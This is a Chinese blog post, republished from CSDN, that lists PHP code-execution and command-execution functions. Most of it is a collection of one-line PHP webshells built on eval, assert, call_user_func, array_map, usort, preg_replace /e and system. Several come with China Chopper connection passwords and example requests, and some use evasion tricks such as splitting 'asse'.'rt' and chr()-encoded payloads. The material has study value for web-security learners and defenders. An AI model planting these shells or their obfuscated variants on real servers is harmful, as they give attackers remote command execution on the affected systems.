0


PHP-代码执行函数-命令执行函数

代码执行函数:

*主要有(9个):***eval()****, **** assert()****, **** call_user_func()****, **** create_function()****, ****array_map() call_user_func_array()****, ****array_filter()****, ****uasort()****, **preg_replace()

1.eval()函数

eval() 函数把字符串按照 PHP 代码来计算

命令执行:cmd=system(whoami);

<?php @eval($_POST['cmd']);?>

注意这里是POST,所以以火狐的插件HackBar****作实验:

**2.assert() **函数

与eval类似,assert函数是直接将传入的参数字符串当成PHP代码直接

    命令执行:cmd=system(whoami)

    菜刀连接密码:cmd

<?php @assert($_POST['cmd'])?>

**3.call_user_func()**函数

函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数,
也可以这么说传入的参数作为assert函数的参数

    命令执行:cmd=system(whoami)

    菜刀连接密码:cmd

<?php call_user_func("assert",$_POST['cmd']); ?>

<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4- create_function()函数

创建了一个匿名函数,如果没有严格对参数传递进行过滤,
攻击者可以构造特殊字符串传递给create_function()执行任意命令。

创建匿名函数执行代码
执行命令和上传文件参考eval函数(必须加分号)。
<?php $func =create_function('',$_POST['cmd']);$func(); ?>

<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();

5- array_map()函数

array_map() 函数
将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
    命令执行http://localhost/123.php?func=system   cmd=whoami
    菜刀连接http://localhost/123.php?func=assert   密码:cmd
<?php
    $func=$_GET['func'];
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    $new_array=array_map($func,$array);
    echo $new_array;
?>

6- call_user_func_array() 函数

将传入的参数作为数组的第一个值传递给assert函数
    cmd=system(whoami)
    菜刀连接密码:cmd
<?php
    $cmd=$_POST['cmd'];
    $array[0]=$cmd;
    call_user_func_array("assert",$array);
?>

7- array_filter()函数

用回调函数过滤数组中的元素:array_filter(数组,函数)
    命令执行func=system&cmd=whoami
    
<?php
    $cmd=$_POST['cmd'];
    $array1=array($cmd);
    $func =$_GET['func'];
    array_filter($array1,$func);
?>

8、usort()、uasort() 函数

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

php环境>=<5.6才能用
    命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
    
<?php
    usort($_GET,'asse'.'rt');
?>

9- preg_replace() 函数

preg_replace('正则规则','替换字符','目标字符')
执行命令和上传文件参考assert函数(不需要加分号)。
将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
<?php
    preg_replace("/test/e",$_POST["cmd"],"jutst test");
?>
这里可以使用chr()函数转换ASCII编码来执行代码。
 
#phpinfo();
eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))

命令执行函数

主要有(7个):system(), passthru(), exec(), shell_exec(),popen()/ proc_popen(),反引号 ``

1- system()函数

作用
将字符串作为OS命令执行,自带输出功能。
<?php system($_POST["cmd"]);?>

2-passthru()函数

作用
将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。
<?php passthru($_POST["cmd"]);?>

**3- exec()函数 **

作用
将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。
<?php echo exec($_POST["cmd"]);?> 

<?php print exec($_POST["cmd"]);?>    //他的输出结果需要打印,system()不用打印

** 4- shell_exec()函数**

作用
将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
<?php echo shell_exec($_POST["cmd"]); ?>

<?php print shell_exec($_POST["cmd"]); ?>

** 5- popen()/proc_open()函数**

作用
该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。
该函数有两个参数。

<?php
    $cmd = $_POST['cmd'].">> 1.txt";
    //此时的$cmd=ipconfig >> 1.txt
    popen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),
把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
 
?>

6- 反引号 ``函数

作用
[``]反引号里面的代码也会被当作OS命令来执行
<?php echo `whoami`?>

或者:

<?php $cmd = $_GET['cmd'];print `$cmd`; ?>

代码执行与命令执行区别

代码执行与命令执行的不同:

代码执行本质上是调用后端语言(PHP,JAVA……)来执行特定代码,而命令执行本质是调用系统的命令执行的接口,

命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令

参考为:

PHP中常见的命令执行函数与代码执行函数-红烧兔纸的博客


本文转载自: https://blog.csdn.net/weixin_47112073/article/details/127440686
版权归原作者 大风呼呼的 所有, 如有侵权,请联系我们删除。

“PHP-代码执行函数-命令执行函数”的评论:

还没有评论